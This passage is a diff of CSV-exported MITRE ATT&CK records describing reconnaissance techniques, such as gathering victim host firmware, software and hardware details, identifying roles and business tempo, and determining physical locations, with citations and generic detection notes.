various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1592/004', 'external_id': 'T1592.004'}, {'source_name': 'ATT ScanBox', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 16:46:42.537000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:46:42.537Z,2021-04-15T03:22:46.759Z,Firmware,"Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). -Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1592/003', external_id='T1592.003'), ExternalReference(source_name='ArsTechnica Intel', description='Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel source code and proprietary data dumped online. Retrieved October 20, 2020.', url='https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/')]",attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:22:46.759000+00:00,Firmware,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1592/003', 'external_id': 'T1592.003'}, {'source_name': 'ArsTechnica Intel', 'description': 'Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel source code and proprietary data dumped online. Retrieved October 20, 2020.', 'url': 'https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 16:42:17.482000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:42:17.482Z,2021-10-17T16:33:19.596Z,Software,"Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1592/002', external_id='T1592.002'), ExternalReference(source_name='ATT ScanBox', description='Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', url='https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks')]",attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:23:57.876000+00:00,Software,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1592/002', 'external_id': 'T1592.002'}, {'source_name': 'ATT ScanBox', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 16:40:47.488000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:40:47.488Z,2021-10-17T16:32:10.810Z,Hardware,"Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1592/001', external_id='T1592.001'), ExternalReference(source_name='ATT ScanBox', description='Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', url='https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks')]",attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:23:21.031000+00:00,Hardware,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1592/001', 'external_id': 'T1592.001'}, {'source_name': 'ATT ScanBox', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 16:39:33.966000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:39:33.966Z,2021-10-17T16:35:09.878Z,Gather Victim Host Information,"Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1592', external_id='T1592'), ExternalReference(source_name='ATT ScanBox', description='Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', url='https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks')]",attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:23:58.024000+00:00,Gather Victim Host Information,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1592', 'external_id': 'T1592'}, {'source_name': 'ATT ScanBox', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,False,,,,['PRE'],,,,1.0 -2020-10-02 16:37:30.015000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",False,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:37:30.015Z,2021-04-15T03:39:08.904Z,Identify Roles,"Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. -Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1591/004', external_id='T1591.004'), ExternalReference(source_name='ThreatPost Broadvoice Leak', description='Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.', url='https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/')]",attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:39:08.904000+00:00,Identify Roles,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1591/004', 'external_id': 'T1591.004'}, {'source_name': 'ThreatPost Broadvoice Leak', 'description': 'Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.', 'url': 'https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 16:34:32.435000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:34:32.435Z,2021-04-15T03:38:31.983Z,Identify Business Tempo,"Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. -Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1591/003', external_id='T1591.003'), ExternalReference(source_name='ThreatPost Broadvoice Leak', description='Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.', url='https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/')]",attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:38:31.983000+00:00,Identify Business Tempo,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1591/003', 'external_id': 'T1591.003'}, {'source_name': 'ThreatPost Broadvoice Leak', 'description': 'Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.', 'url': 'https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 16:32:33.126000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:32:33.126Z,2021-08-27T15:37:09.025Z,Determine Physical Locations,"Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. -Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1591/001', external_id='T1591.001'), ExternalReference(source_name='ThreatPost Broadvoice Leak', description='Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.', url='https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/'), ExternalReference(source_name='DOB Business Lookup', description='Concert Technologies . (n.d.). Business Lookup - Company Name Search. Retrieved October 20, 2020.', 